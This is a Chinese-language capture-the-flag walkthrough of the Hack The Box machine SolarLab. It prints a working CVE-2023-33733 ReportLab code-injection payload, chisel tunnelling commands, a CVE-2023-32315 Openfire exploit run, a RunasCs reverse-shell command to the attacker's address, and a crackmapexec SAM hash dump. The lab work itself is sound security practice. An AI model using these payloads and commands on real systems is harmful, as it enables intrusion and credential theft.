总体思路
SMB获取敏感信息->CVE-2023-33733漏洞注入->CVE-2023-32315->敏感信息泄露
信息收集&端口利用
nmap -sSVC -p1-10000 10.10.11.16
发现目标开放了80、135、139、445和6791端口,并且对应的端口也给出了重定向的标志,将域名加入到hosts文件中以访问
#/etc/hosts
10.10.11.16 solarlab.htb report.solarlab.htb
80端口只有一个在不断跳动的倒计时,对其进行信息收集
发现主网站没有什么能够利用的点,查看report子域名
6791端口是一个ReportHub的界面,但是经过尝试,暴力破解和万能密码对其均不起作用,想到最开始的445端口还没用利用,尝试匿名访问
发现突破点
SMB 匿名访问
smb存在匿名访问,那就继续进入Documents文件夹查看
发现details-file.xlsx和old_leave_request_form.docx文件,经过查看,docx文件没有利用价值,在xlsx文件中有存放账号和密码
于是利用这里面的账号密码去爆破6791端口的登录界面
但是发现全都失败
于是有了一段特别离谱的分析(
首先在xlsx文件中能看到只有三个用户是存在的,分别是Alexander、Claudia、Blake
但是在下方的用户名处,username却发生了变化
A用户结尾多了一个K,C用户结尾多了一个S,从后边邮箱可知,加的字母为其邮箱中.后面的字母,但是B用户邮箱中并没有.,而其用户名中带了.,推测其登录用户为blakeb(以上猜想纯属巧合,实在是没找到QAQ,有知道的可以在评论区说一下,万分感谢!
然后拿着这一段(胡乱猜测逻辑的)密码,能够进入6791端口
搜索该组件可以了解到,该网页是把填入的信息转化成pdf
CVE-2023-33733
搜索reporthub相关漏洞,结果比较少,但是看到了reportlab的漏洞CVE-2023-33733,两者都是将html转化pdf的组件
#POC
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('SHELL') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
将poc里的SHELL改为Windows的反弹shell,复制进数据包中travel_request模块下
发送过后即能拿到blake用户的shell
逐个查看当前目录信息
第一个目录就有好消息,有users.db数据库文件,没有用msf不能直接下载,此处先将其转化为base64格式后复制出来,再转化为文本查看
发现了几个用户的密码,应该为6791界面的登录密码,继续查看其他目录,没有发现什么敏感信息,那就查看端口开放情况,看看有没有隐藏端口没有显示
有9090和9091端口,将他们代理到本地
#kali:
chisel server -p 6150 --reverse
#Windows:
./chisel.exe client 10.10.14.43:6150 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
发现是openfire组件,并且版本为4.7.4,在笔者之前发布的Jab靶机中有提到过这个漏洞,这里虽然没有登录凭证,但是存在CVE-2023-32315能够直接新建一个用户
CVE-2023-32315
运行脚本
python3 CVE-2023-32315.py -t http://127.0.0.1:9090
使用得到的用户名和密码登录进界面,在plugins处上传之前拿到过的插件,详见Hack The Box-Jab
然后在Server->Server Settings可以看到上传的插件:shell Plugin
使用密码123登录进管理界面
选择系统命令
输入一段反弹shell,可以得到openfire用户的shell
查看用户可执行的特权
没有可以利用的点,继续进行信息收集,在主目录下看到了embedded-db文件夹,进入查看
逐个查看openfire的文件,在openfire.script文件中找到了一段密文和salt
从描述来看,这一段密码指的就是administrator的凭证
因为该组件为openfire,而openfire又有其单独的加密方式,详见
https://github.com/c0rdis/openfire_decrypt?tab=readme-ov-file
将工具下载到本地编译,并运行
得到administrator的密码为ThisPasswordShouldDo!@,尝试使用evil-winrm登录(过了许久还没登录上)
上传RunasCs,然后再使用administrator的凭证反弹shell
./RunasCs.exe administrator ThisPasswordShouldDo!@ powershell -r 10.10.14.43:9200
提权成功
另外,可以使用crackmapexec导出hash值
crackmapexec smb 10.10.11.16 -u administrator -p 'ThisPasswordShouldDo!@' --sam
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\administrator:ThisPasswordShouldDo!@ (Pwn3d!)
SMB 10.10.11.16 445 SOLARLAB [+] Dumping SAM hashes
SMB 10.10.11.16 445 SOLARLAB Administrator:500:aad3b435b51404eeaad3b435b51404ee:1c032ae85d6995c0bb4999ec869d90cf:::
SMB 10.10.11.16 445 SOLARLAB Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.16 445 SOLARLAB DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.16 445 SOLARLAB WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:57da9863751e0fd175f042bc41aec9b2:::
SMB 10.10.11.16 445 SOLARLAB blake:1000:aad3b435b51404eeaad3b435b51404ee:4cf570cdca082077b0e61addac8b7705:::
SMB 10.10.11.16 445 SOLARLAB openfire:1001:aad3b435b51404eeaad3b435b51404ee:a22c1b83fa00c6030969caf37a5e061b:::
SMB 10.10.11.16 445 SOLARLAB [+] Added 6 SAM hashes to the database